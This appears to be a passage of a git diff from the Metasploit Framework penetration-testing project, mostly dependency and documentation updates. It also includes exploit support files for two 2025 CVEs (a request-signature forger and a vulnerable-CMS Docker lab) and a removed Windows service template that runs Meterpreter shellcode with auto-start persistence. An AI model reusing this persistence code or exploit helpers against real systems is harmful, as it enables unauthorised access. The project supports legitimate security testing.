+metasploit-framework, 6.4.99, "New BSD"
+metasploit-model, 5.0.4, "New BSD"
+metasploit-payloads, 2.0.237, "3-clause (or ""modified"") BSD"
 metasploit_data_models, 6.0.9, "New BSD"
-metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
+metasploit_payloads-mettle, 1.0.45, "3-clause (or ""modified"") BSD"
 method_source, 1.1.0, MIT
-mime-types, 3.6.0, MIT
-mime-types-data, 3.2025.0304, MIT
-mini_portile2, 2.8.8, MIT
+mime-types, 3.7.0, MIT
+mime-types-data, 3.2025.0924, MIT
+mini_portile2, 2.8.9, MIT
 minitest, 5.25.5, MIT
-mqtt, 0.6.0, MIT
+mqtt, 0.7.0, MIT
 msgpack, 1.6.1, "Apache 2.0"
 multi_json, 1.15.0, MIT
 mustermann, 3.0.3, MIT
@@ -118,54 +121,59 @@ net-ssh, 7.3.0, MIT
 network_interface, 0.0.4, MIT
 nexpose, 7.3.0, "New BSD"
 nio4r, 2.7.4, "MIT, Simplified BSD"
-nokogiri, 1.18.3, MIT
+nokogiri, 1.18.10, MIT
 nori, 2.7.1, MIT
-octokit, 4.25.1, MIT
+octokit, 10.0.0, MIT
 openssl-ccm, 1.2.3, MIT
 openssl-cmac, 2.0.2, MIT
 openvas-omp, 0.0.4, MIT
 ostruct, 0.6.1, "ruby, Simplified BSD"
 packetfu, 2.0.0, "New BSD"
 parallel, 1.27.0, MIT
-parser, 3.3.8.0, MIT
+parser, 3.3.9.0, MIT
+parslet, 1.8.2, MIT
 patch_finder, 1.0.2, "New BSD"
 pcaprub, 0.13.3, LGPL-2.1
 pdf-reader, 2.14.1, MIT
 pg, 1.5.9, "Simplified BSD"
-prism, 1.4.0, MIT
-pry, 0.14.2, MIT
-pry-byebug, 3.10.1, MIT
-public_suffix, 6.0.1, MIT
+pp, 0.6.3, "ruby, Simplified BSD"
+prettyprint, 0.2.0, "ruby, Simplified BSD"
+prism, 1.5.1, MIT
+pry, 0.15.2, MIT
+pry-byebug, 3.11.0, MIT
+psych, 5.2.6, MIT
+public_suffix, 6.0.2, MIT
 puma, 6.6.0, "New BSD"
 racc, 1.8.1, "ruby, Simplified BSD"
-rack, 2.2.13, MIT
+rack, 2.2.19, MIT
 rack-protection, 3.2.0, MIT
 rack-session, 1.0.2, MIT
 rack-test, 2.2.0, MIT
 rackup, 1.0.1, MIT
-rails-dom-testing, 2.2.0, MIT
+rails-dom-testing, 2.3.0, MIT
 rails-html-sanitizer, 1.6.2, MIT
-railties, 7.1.5.1, MIT
+railties, 7.2.2.2, MIT
 rainbow, 3.1.1, MIT
-rake, 13.2.1, MIT
+rake, 13.3.0, MIT
 rasn1, 0.14.0, MIT
 rb-readline, 0.5.5, BSD
+rdoc, 6.15.0, ruby
 recog, 3.1.14, unknown
 redcarpet, 3.6.1, MIT
-regexp_parser, 2.10.0, MIT
-reline, 0.6.0, ruby
+regexp_parser, 2.11.3, MIT
+reline, 0.6.2, ruby
 require_all, 3.0.0, MIT
 rex-arch, 0.1.18, "New BSD"
 rex-bin_tools, 0.1.10, "New BSD"
 rex-core, 0.1.34, "New BSD"
 rex-encoder, 0.1.8, "New BSD"
-rex-exploitation, 0.1.41, "New BSD"
+rex-exploitation, 0.1.44, "New BSD"
 rex-java, 0.1.8, "New BSD"
 rex-mime, 0.1.11, "New BSD"
 rex-nop, 0.1.4, "New BSD"
 rex-ole, 0.1.9, "New BSD"
-rex-powershell, 0.1.101, "New BSD"
-rex-random_identifier, 0.1.15, "New BSD"
+rex-powershell, 0.1.103, "New BSD"
+rex-random_identifier, 0.1.21, "New BSD"
 rex-registry, 0.1.6, "New BSD"
 rex-rop_builder, 0.1.6, "New BSD"
 rex-socket, 0.1.62, "New BSD"
@@ -176,18 +184,18 @@ rex-zip, 0.1.6, "New BSD"
 rexml, 3.4.1, "Simplified BSD"
 rinda, 0.2.0, "ruby, Simplified BSD"
 rkelly-remix, 0.0.7, MIT
-rspec, 3.13.0, MIT
-rspec-core, 3.13.3, MIT
-rspec-expectations, 3.13.3, MIT
-rspec-mocks, 3.13.2, MIT
-rspec-rails, 7.1.1, MIT
+rspec, 3.13.1, MIT
+rspec-core, 3.13.5, MIT
+rspec-expectations, 3.13.5, MIT
+rspec-mocks, 3.13.5, MIT
+rspec-rails, 8.0.2, MIT
 rspec-rerun, 1.1.0, MIT
-rspec-support, 3.13.2, MIT
+rspec-support, 3.13.6, MIT
 rubocop, 1.75.7, MIT
-rubocop-ast, 1.44.1, MIT
+rubocop-ast, 1.47.1, MIT
 ruby-macho, 4.1.0, MIT
 ruby-mysql, 4.2.0, MIT
-ruby-prof, 1.7.1, "Simplified BSD"
+ruby-prof, 1.7.2, "Simplified BSD"
 ruby-progressbar, 1.13.0, MIT
 ruby-rc4, 0.1.5, MIT
 ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
@@ -202,20 +210,25 @@ simpleidn, 0.2.3, MIT
 sinatra, 3.2.0, MIT
 sqlite3, 1.7.3, "New BSD"
 sshkey, 3.0.0, MIT
+stringio, 3.1.1, "ruby, Simplified BSD"
 strptime, 0.2.5, "Simplified BSD"
 swagger-blocks, 3.0.0, MIT
+syslog, 0.3.0, "ruby, Simplified BSD"
 test-prof, 1.4.4, MIT
 thin, 1.8.2, "GPL-2.0+, ruby"
-thor, 1.3.2, MIT
+thor, 1.4.0, MIT
 tilt, 2.6.0, MIT
 timecop, 0.9.10, MIT
 timeout, 0.4.3, "ruby, Simplified BSD"
+toml, 0.2.0, MIT
+tsort, 0.2.0, "ruby, Simplified BSD"
 ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
 tzinfo, 2.0.6, MIT
 tzinfo-data, 1.2025.1, MIT
-unicode-display_width, 3.1.4, MIT
-unicode-emoji, 4.0.4, MIT
+unicode-display_width, 3.2.0, MIT
+unicode-emoji, 4.1.0, MIT
 unix-crypt, 1.3.1, 0BSD
+useragent, 0.16.11, MIT
 warden, 1.2.9, MIT
 webrick, 1.9.1, "ruby, Simplified BSD"
 websocket-driver, 0.7.7, "Apache 2.0"
@@ -223,7 +236,9 @@ websocket-extensions, 0.1.5, "Apache 2.0"
 win32api, 0.1.0, unknown
 windows_error, 0.1.5, BSD
 winrm, 2.3.9, "Apache 2.0"
+with_env, 1.1.0, MIT
 xdr, 3.0.3, "Apache 2.0"
+xml-simple, 1.1.9, MIT
 xmlrpc, 0.3.3, "ruby, Simplified BSD"
 yard, 0.9.37, MIT
-zeitwerk, 2.7.2, MIT
+zeitwerk, 2.7.3, MIT

README.md

@@ -18,7 +18,14 @@ Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapi
 For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).
 
 ## Support and Communication
-For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
+For questions and suggestions, you can:
+
+- Join our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) for community support and general questions
+- Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat
+- Submit [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) for bug reports and feature requests
+- Follow [@metasploit](https://x.com/metasploit) on X or [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit) on Mastodon for updates
+
+**Note:** Some community members may still use IRC channels and the metasploit-hackers mailing list, though the primary support channels are now GitHub Discussions and Slack.
 
 ## Installing Metasploit
 

config/application.rb

@@ -4,6 +4,26 @@ Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
 require 'rails'
 require File.expand_path('../boot', __FILE__)
 
+require 'action_view'
+# Monkey patch https://github.com/rails/rails/blob/v7.2.2.1/actionview/lib/action_view/helpers/tag_helper.rb#L51
+# Might be fixed by 8.x https://github.com/rails/rails/blob/v8.0.2/actionview/lib/action_view/helpers/tag_helper.rb#L51C1-L52C1
+raise unless ActionView::VERSION::STRING == '7.2.2.2' # A developer will need to ensure this is still required when bumping rails
+module ActionView::Helpers::TagHelper
+  class TagBuilder
+    def self.define_element(name, code_generator:, method_name: name.to_s.underscore)
+      code_generator.define_cached_method(method_name, namespace: :tag_builder) do |batch|
+        # Fixing a bug introduced by Metasploit's global Kernel patch: https://github.com/rapid7/metasploit-framework/blob/ae1db09f32cd04c007dbf445cf16dc22c9fc2e53/lib/rex.rb#L74-L79
+        # which fails when using the below 'instance_methods.include?(method_name.to_sym)' check
+        batch.push(<<~RUBY) # unless instance_methods.include?(method_name.to_sym)
+              def #{method_name}(content = nil, escape: true, **options, &block)
+                tag_string("#{name}", content, options, escape: escape, &block)
+              end
+            RUBY
+      end
+    end
+  end
+end
+
 all_environments = [
     :development,
     :production,
@@ -41,7 +61,7 @@ module Metasploit
       config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
       config.autoloader = :zeitwerk
 
-      config.load_defaults 7.1
+      config.load_defaults 7.2
 
       config.eager_load = false
     end

data/exploits/CVE-2025-60787/sign_request.py

@@ -0,0 +1,88 @@
+import hashlib
+import re
+import argparse
+import sys
+from urllib.parse import urlsplit, parse_qs, unquote, quote
+from typing import Dict, List, Tuple
+
+_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')
+
+def compute_signature(method: str, path: str, body: str = '', key: str = '') -> str:
+    if not method or not path:
+        raise ValueError("Method and path must be provided.")
+
+    url_parts = urlsplit(path)
+    base_path = url_parts.path
+    
+    if not base_path.startswith('/'):
+        base_path = '/' + base_path
+    
+    raw_query_params: Dict[str, List[str]] = parse_qs(
+        url_parts.query, keep_blank_values=True, strict_parsing=False
+    )
+    
+    canonical_query: List[Tuple[str, str]] = []
+    for k, v_list in raw_query_params.items():
+        if k == '_signature':
+            continue
+            
+        value = unquote(v_list[0]) if v_list else ''
+        canonical_query.append((k, value))
+    
+    canonical_query.sort(key=lambda item: item[0])
+    
+    query_string = '&'.join(f"{k}={quote(v)}" for k, v in canonical_query)
+
+    if query_string:
+        canonical_path = f"{base_path}?{query_string}"
+    else:
+        canonical_path = base_path
+        
+    canonical_path = re.sub(_SIGNATURE_REGEX, '-', canonical_path)
+
+    body_for_signing = re.sub(_SIGNATURE_REGEX, '-', body)
+    
+    if not key:
+        password_hash = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
+    else:
+        password_hash = hashlib.sha1(key.encode('utf-8')).hexdigest().lower()
+
+    data = f"{method.upper()}:{canonical_path}:{body_for_signing}:{password_hash}"
+    
+    return hashlib.sha1(data.encode('utf-8')).hexdigest().lower()
+
+def main():
+    parser = argparse.ArgumentParser(description="Computes a SHA1 signature for an HTTP request.")
+
+    parser.add_argument('--method', type=str, required=True,
+                        choices=['GET', 'POST', 'PUT', 'DELETE'],
+                        help="The HTTP method (e.g., GET).")
+    parser.add_argument('--path', type=str, required=True,
+                        help="The canonical path (e.g., /api/resource?param=value).")
+    parser.add_argument('--key', type=str, default='',
+                        help="The secret key. Defaults to an empty string.")
+    parser.add_argument('--body', type=str, default='',
+                        help="The request body as a string. Defaults to an empty string.")
+
+    try:
+        args = parser.parse_args()
+        
+        signature = compute_signature(
+            method=args.method,
+            path=args.path,
+            body=args.body,
+            key=args.key
+        )
+
+        print(f"Computed Signature: {signature}")
+
+    except ValueError as e:
+        sys.stderr.write(f"Error: {e}\n")
+        sys.exit(1)
+    except Exception as e:
+        sys.stderr.write(f"An unexpected error occurred: {e}\n")
+        sys.exit(1)
+
+
+if __name__ == '__main__':
+    main()

data/exploits/CVE-2025-8518/Dockerfile

@@ -0,0 +1,25 @@
+FROM php:8.3-fpm
+
+RUN apt-get clean && apt-get update && \
+    apt-get install -y \
+        wget unzip \
+        libicu-dev \
+        libfreetype6-dev \
+        libjpeg62-turbo-dev \
+        libxml2-dev \
+        libwebp-dev \
+        libpng-dev \
+        libzip-dev \
+        libonig-dev \
+        libcurl4-openssl-dev && \
+    docker-php-ext-configure gd --with-webp --with-jpeg && \
+    docker-php-ext-install -j$(nproc) gd xml dom curl mbstring intl gettext zip mysqli && \
+    pecl install apcu && docker-php-ext-enable apcu && \
+    rm -rf /var/lib/apt/lists/*
+
+WORKDIR /var/www/html
+
+RUN wget https://github.com/givanz/Vvveb/releases/download/1.0.5/latest.zip && \
+    unzip latest.zip && rm latest.zip
+
+COPY php.ini /usr/local/etc/php/php.ini

data/exploits/CVE-2025-8518/docker-compose.yml

@@ -0,0 +1,43 @@
+services:
+  php:
+    build: .
+    container_name: vvveb-php
+    volumes:
+      - vvveb_html:/var/www/html
+    networks:
+      - vvveb-net
+
+  nginx:
+    image: nginx:stable
+    container_name: vvveb-nginx
+    ports:
+      - "8080:80"
+    volumes:
+      - ./nginx.conf:/etc/nginx/conf.d/default.conf
+      - vvveb_html:/var/www/html:ro
+    depends_on:
+      - php
+    networks:
+      - vvveb-net
+
+  mysql:
+    image: mysql:5.7
+    container_name: vvveb-mysql
+    restart: unless-stopped
+    environment:
+      MYSQL_ROOT_PASSWORD: root
+      MYSQL_DATABASE: vvveb
+      MYSQL_USER: vvveb
+      MYSQL_PASSWORD: vvveb
+    volumes:
+      - db_data:/var/lib/mysql
+    networks:
+      - vvveb-net
+
+networks:
+  vvveb-net:
+    driver: bridge
+
+volumes:
+  db_data:
+  vvveb_html:

data/exploits/CVE-2025-8518/nginx.conf

@@ -0,0 +1,21 @@
+server {
+    listen 80;
+    server_name localhost;
+
+    root /var/www/html;
+    index index.php index.html;
+
+    location / {
+        try_files $uri $uri/ /index.php?$args;
+    }
+
+    location ~ \.php$ {
+        try_files $uri =404;
+        fastcgi_split_path_info ^(.+\.php)(/.+)$;
+        fastcgi_pass php:9000;
+        fastcgi_index index.php;
+        include fastcgi_params;
+        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+        fastcgi_param PATH_INFO $fastcgi_path_info;
+    }
+}

data/exploits/CVE-2025-8518/php.ini

@@ -0,0 +1,5 @@
+display_errors = On
+memory_limit = 512M
+upload_max_filesize = 64M
+post_max_size = 64M
+max_execution_time = 300

data/exploits/persistence_service/service.erb

@@ -1,304 +0,0 @@
-#include <String.h>
-#include <Windows.h>
-#include <stdlib.h>
-#include <stdio.h>
-
-#define SERVICE_NAME     <%= @service_name.inspect %>
-#define DISPLAY_NAME     <%= @service_description.inspect %>
-#define RETRY_TIME       <%= @retry_time %>
-
-//
-// Globals
-//
-
-SERVICE_STATUS status;
-SERVICE_STATUS_HANDLE hStatus;
-
-//
-// Meterpreter connect back to host
-//
-
-void start_meterpreter()
-{
-// Your meterpreter shell here
-  <%= buf %>
-
-  LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-  memcpy(buffer,buf,sizeof(buf));
-  HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
-  WaitForSingleObject(hThread, -1); //INFINITE
-  CloseHandle(hThread);
-}
-
-//
-// Call self without parameter to start meterpreter
-//
-
-void self_call()
-{
-    char path[MAX_PATH];
-    char cmd[MAX_PATH];
-
-    if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
-        // Get module file name failed
-        return;
-    }
-
-    STARTUPINFO startup_info;
-    PROCESS_INFORMATION process_information;
-
-    ZeroMemory(&startup_info, sizeof(startup_info));
-    startup_info.cb = sizeof(startup_info);
-
-    ZeroMemory(&process_information, sizeof(process_information));
-
-    // If create process failed.
-    // CREATE_NO_WINDOW = 0x08000000
-    if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
-                      NULL, &startup_info, &process_information) == 0)
-    {
-        return;
-    }
-
-    // Wait until the process died.
-    WaitForSingleObject(process_information.hProcess, -1);
-}
-
-//
-// Process control requests from the Service Control Manager
-//
-
-VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
-{
-    switch (fdwControl) {
-        case SERVICE_CONTROL_STOP:
-        case SERVICE_CONTROL_SHUTDOWN:
-            status.dwWin32ExitCode = 0;
-            status.dwCurrentState = SERVICE_STOPPED;
-            break;
-
-        case SERVICE_CONTROL_PAUSE:
-            status.dwWin32ExitCode = 0;
-            status.dwCurrentState = SERVICE_PAUSED;
-            break;
-
-        case SERVICE_CONTROL_CONTINUE:
-            status.dwWin32ExitCode = 0;
-            status.dwCurrentState = SERVICE_RUNNING;
-            break;
-
-        default:
-            break;
-    }
-
-    if (SetServiceStatus(hStatus, &status) == 0) {
-        //printf("Cannot set service status (0x%08x)", GetLastError());
-        exit(1);
-    }
-
-    return;
-}
-
-
-//
-// Main function of service
-//
-
-VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
-{
-    // Register the service handler
-
-    hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
-
-    if (hStatus == 0) {
-        //printf("Cannot register service handler (0x%08x)", GetLastError());
-        exit(1);
-    }
-
-    // Initialize the service status structure
-
-    status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
-    status.dwCurrentState = SERVICE_RUNNING;
-    status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
-    status.dwWin32ExitCode = 0;
-    status.dwServiceSpecificExitCode = 0;
-    status.dwCheckPoint = 0;
-    status.dwWaitHint = 0;
-
-    if (SetServiceStatus(hStatus, &status) == 0) {
-        //printf("Cannot set service status (0x%08x)", GetLastError());
-        return;
-    }
-
-    // Start the Meterpreter
-    while (status.dwCurrentState == SERVICE_RUNNING) {
-        self_call();
-        Sleep(RETRY_TIME);
-    }
-
-    return;
-}
-
-
-//
-// Installs and starts the Meterpreter service
-//
-
-BOOL install_service()
-{
-    SC_HANDLE hSCManager;
-    SC_HANDLE hService;
-
-    char path[MAX_PATH];
-
-    // Get the current module name
-
-    if (!GetModuleFileName(NULL, path, MAX_PATH)) {
-        //printf("Cannot get module name (0x%08x)", GetLastError());
-        return FALSE;
-    }
-
-    // Build the service command line
-
-
-    char cmd[MAX_PATH];
-
-    int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
-    if (total_len < 0 || total_len >= sizeof(cmd)){
-        //printf("Cannot build service command line (0x%08x)", -1);
-        return FALSE;
-    }
-
-    cmd[0] = '\0';
-    strcat(cmd, "\"");
-    strcat(cmd, path);
-    strcat(cmd, "\" <%= @start_cmd %>");
-
-    // Open the service manager
-
-    hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-
-    if (hSCManager == NULL) {
-        //printf("Cannot open service manager (0x%08x)", GetLastError());
-        return FALSE;
-    }
-
-    // Create the service
-
-    hService = CreateService(
-        hSCManager,
-        SERVICE_NAME,
-        DISPLAY_NAME,
-        0xf01ff,            // SERVICE_ALL_ACCESS
-        SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
-        SERVICE_AUTO_START,
-        SERVICE_ERROR_NORMAL,
-        cmd,
-        NULL,
-        NULL,
-        NULL,
-        NULL,   /* LocalSystem account */
-        NULL
-    );
-
-    if (hService == NULL) {
-        //printf("Cannot create service (0x%08x)", GetLastError());
-
-        CloseServiceHandle(hSCManager);
-        return FALSE;
-    }
-
-    // Start the service
-
-    char* args[] = { path, "service" };
-
-    if (StartService(hService, 2, (const char**)&args) == 0) {
-        DWORD err = GetLastError();
-
-        if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
-        {
-            //printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
-
-            CloseServiceHandle(hService);
-            CloseServiceHandle(hSCManager);
-            return FALSE;
-        }
-    }
-
-    // Cleanup
-
-    CloseServiceHandle(hService);
-    CloseServiceHandle(hSCManager);
-
-    //printf("Service %s successfully installed.", SERVICE_NAME);
-
-    return TRUE;
-}
-
-//
-// Start the service
-//
-
-void start_service()
-{
-    SERVICE_TABLE_ENTRY ServiceTable[] =
-    {
-        { SERVICE_NAME, &ServiceMain },
-        { NULL, NULL }
-    };
-
-    if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
-        //printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
-        exit(1);
-    }
-}
-
-
-//
-// Main function
-//
-
-int main()
-{
-    // Parse the command line argument.
-    // For now, int main(int argc, char *argv) is buggy with metasm.
-    // So we choose this approach to achieve it.
-    LPTSTR cmdline;
-    cmdline = GetCommandLine();
-
-    char *argv[MAX_PATH];
-    char * ch = strtok(cmdline," ");
-    int argc = 0;
-
-    while (ch != NULL)
-    {
-       argv[argc] = malloc( strlen(ch)+1) ;
-       strncpy(argv[argc], ch, strlen(ch)+1);
-
-       ch = strtok (NULL, " ");
-       argc++;
-    }
-
-    if (argc > 1) {
-
-        if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
-
-            // Installs and starts the service
-
-            install_service();
-            return 0;
-        }
-        else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
-            // Starts the Meterpreter as a service
-
-            start_service();
-            return 0;
-        }
-    }
-
-    // Starts the Meterpreter as a normal application
-
-    start_meterpreter();
-
-    return 0;
-}

data/markdown_doc/default_template.erb

@@ -67,6 +67,8 @@
 <% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %>
 <% elsif side_effect == "physical-effects" %>
 <% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %>
+<% elsif side_effect == "unknown-side-effects" %>
+<% description = "Module side effects are unknown." %>
 <% end %>
 
 * **<%= side_effect %>:** <%= description %>
@@ -85,6 +87,8 @@
 <% description = "The module isn't expected to get a shell reliably (such as only once)." %>
 <% elsif reliability == "event-dependent" %>
 <% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
+<% elsif reliability == "unknown-reliability" %>
+<% description = "Module reliability is unknown." %>
 <% end %>
 
 * **<%= reliability %>:** <%= description %>
@@ -109,6 +113,8 @@
 <% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %>
 <% elsif stability == "os-resource-loss" %>
 <% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %>
+<% elsif stability == "unknown-stability" %>
+<% description = "Module stability is unknown." %>
 <% end %>
 
 * **<%= stability %>:** <%= description %>

data/templates/src/elf/exe/elf_ppc64_template.s

@@ -0,0 +1,35 @@
+BITS 64
+ehdr:                            ; Elf32_Ehdr
+  db    0x7F, "ELF", 2, 2, 1, 0  ;   e_ident
+  db    0, 0, 0, 0,  0, 0, 0, 0  ;
+  dw    0x0200                   ;   e_type       = ET_EXEC for an executable
+  dw    0x1500                   ;   e_machine    = PPC64
+  dd    0x01000000                        ;   e_version
+  dq    0x7810000000000000      ;   e_entry
+  dq    0x4000000000000000       ;   e_phoff
+  dq    0                        ;   e_shoff
+  dd    0                        ;   e_flags
+  dw    0x4000                   ;   e_ehsize
+  dw    0x3800                   ;   e_phentsize
+  dw    0x0100                   ;   e_phnum
+  dw    0                        ;   e_shentsize
+  dw    0                        ;   e_shnum
+  dw    0                        ;   e_shstrndx
+
+ehdrsize equ  $ - ehdr
+
+phdr:                            ; Elf32_Phdr
+
+  dd    0x01000000               ;   p_type       = pt_load
+  dd    0x07000000               ;   p_flags      = rwx
+  dq    0                        ;   p_offset
+  dq    0x0010000000000000       ;   p_vaddr
+  dq    0x0010000000000000                       ;   p_paddr
+  dq    0xefbeadde       ;   p_filesz
+  dq    0xefbeadde       ;   p_memsz
+  dq    0x0000100000000000      ;   p_align
+
+phdrsize equ  $ - phdr
+
+_start:
+dq      0x8010000000000000

data/templates/src/pe/README.md

@@ -1,8 +1,8 @@
 # PE Source Code
 This directory contains the source code for the PE executable templates.
 
-## Building DLLs
-Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
+## Building
+Use the provided `build_all.bat` file, and run it from within the Visual Studio
 developer console. The batch file requires that the `%VCINSTALLDIR%` environment
 variable be defined (which it should be by default). The build script will
 create both the x86 and x64 templates before moving them into the correct

data/templates/src/pe/build_all.bat

@@ -0,0 +1,17 @@
+@echo off
+
+echo Compiling DLLs
+
+for /D %%d in (dll*) do (
+  pushd "%%d"
+  call build.bat
+  popd
+)
+
+echo Compiling EXEs
+
+for /D %%e in (exe*) do (
+  pushd "%%e"
+  call build.bat
+  popd
+)

data/templates/src/pe/build_dlls.bat

@@ -1,7 +0,0 @@
-@echo off
-
-for /D %%d in (dll*) do (
-  pushd "%%d"
-  build.bat
-  popd
-)

data/templates/src/pe/dll_mixed_mode/build.bat

@@ -3,6 +3,7 @@
 if "%~1"=="" GOTO NO_ARGUMENTS
 echo Compiling for: %1
 call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
+rem mscoree.lib requires .NET SDK to be installed, add it as a Visual Studio component
 cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
 cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
 exit /B

data/templates/src/pe/exe/build.bat

@@ -0,0 +1,13 @@
+@echo off
+
+if "%~1"=="" GOTO NO_ARGUMENTS
+echo Compiling for: %1
+call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
+cl /GS- template.c /Fe:template_%1_windows.exe /link kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
+exit /B
+
+:NO_ARGUMENTS
+%COMSPEC% /c "%0" x86
+%COMSPEC% /c "%0" x64
+del  *.obj *.res
+move *.exe ..\..\..

data/templates/src/pe/exe/service/Service.sln

@@ -1,26 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 10.00
-# Visual C++ Express 2008
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "service", "service.vcproj", "{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Release|Win32 = Release|Win32
-		Release|x64 = Release|x64
-		Debug|Win32 = Debug|Win32
-		Debug|x64 = Debug|x64
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|Win32.ActiveCfg = Release|Win32
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|Win32.Build.0 = Release|Win32
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|x64.ActiveCfg = Release|x64
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|x64.Build.0 = Release|x64
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|Win32.ActiveCfg = Release|Win32
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|Win32.Build.0 = Release|Win32
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|x64.ActiveCfg = Debug|x64
-		{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|x64.Build.0 = Debug|x64
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal

data/templates/src/pe/exe/service/Service.vcproj

@@ -1,343 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="9.00"
-	Name="service"
-	ProjectGUID="{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}"
-	RootNamespace="service"
-	Keyword="Win32Proj"
-	TargetFrameworkVersion="196613"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-		<Platform
-			Name="x64"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Debug|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="1"
